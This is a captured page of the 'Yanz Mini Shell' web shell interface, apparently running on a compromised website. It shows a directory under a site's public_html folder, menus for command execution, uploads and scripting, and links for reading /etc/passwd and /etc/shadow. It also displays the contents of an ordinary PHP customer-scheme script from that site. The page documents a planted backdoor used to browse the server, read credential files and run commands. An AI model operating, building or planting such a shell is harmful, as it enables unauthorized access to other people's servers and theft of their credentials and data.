Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
bootstrap
css
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php ob_start(); session_start(); include "../inc/config.php"; include "../inc/session.php"; include "../inc/functions.php"; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $scheme_id = $_POST['scheme_id']; $customer_ids = $_POST['customer_ids']; // Fetch the scheme's maximum members $stmt = $pdo->prepare("SELECT scheme_members FROM schemes WHERE id=?"); $stmt->execute([$scheme_id]); $scheme = $stmt->fetch(PDO::FETCH_ASSOC); $max_members = $scheme['scheme_members']; // Check the current count of linked customers $stmt = $pdo->prepare("SELECT COUNT(*) FROM customer_scheme WHERE scheme_id=?"); $stmt->execute([$scheme_id]); $current_members = $stmt->fetchColumn(); // Check if adding these customers exceeds the limit if ($current_members + count($customer_ids) > $max_members) { echo "Cannot add more customers than allowed for this scheme."; echo '<a href="add_customers_to_scheme.php">Go Back</a>'; } else { // Insert customers into the linking table $stmt = $pdo->prepare("INSERT INTO customer_scheme (customer_id, scheme_id) VALUES (?, ?)"); foreach ($customer_ids as $customer_id) { $stmt->execute([$customer_id, $scheme_id]); } echo "Customers added to the scheme successfully."; echo '<a href="add_customers_to_scheme.php">Go Back</a>'; } } else { echo "Invalid request."; }
Free Space : 11530928128 Byte